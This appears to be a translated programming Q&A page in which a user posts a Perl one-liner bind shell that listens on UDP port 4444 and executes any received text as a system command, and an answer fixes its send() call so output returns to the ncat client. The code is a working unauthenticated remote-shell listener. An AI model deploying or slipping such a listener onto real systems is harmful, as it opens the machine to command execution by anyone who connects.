【问题标题】:Perl print backticks STDOUTPerl 打印反引号 STDOUT
【发布时间】:2019-10-28 05:28:38
【问题描述】:

我正在用 Perl 编写一个非常简单的绑定 shell,它应该在 windows 上打开一个特定的端口,当我用 ncat 连接到它时,我应该能够从 ncat 编写命令,这些命令可以在机器上执行并还给我标准输出。 到目前为止,这是我的代码:

use strict; use IO::Socket; 
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); 
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    my @cmd = qx($newmsg);
    print(@cmd);
    $sock->send(@cmd);
}

如果我键入像echo Hello world 这样简单的内容,它会按预期返回Hello World。当我输入dir 或包含新行的内容时出现问题(或者我猜到了,我对perl 很陌生)。 输入dir 时,结果会打印在perl shell 上(正如预期的那样,由于print(@cmd),但随后也会打印usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1. 并退出,但我从未在ncat 中收到该消息。

我正在从命令 shell 以单行方式运行命令: perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"

我该怎么做才能将内容打印为目录?

【问题讨论】:

    标签: perl sockets io-socket


    【解决方案1】:

    您的问题在于$sock->send(@cmd)。 send 方法期望消息是标量而不是数组。您可以通过以下方式解决此问题

    my $CRLF="\x0D\x0A"; # Network line break
    $sock->send(join $CRLF, @cmd); # Convert @command into a single string
    

    【讨论】:

      猜你喜欢
      • 2014-03-31
      • 1970-01-01
      • 2019-01-02
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-11-17
      • 2011-04-13
      相关资源
      最近更新 更多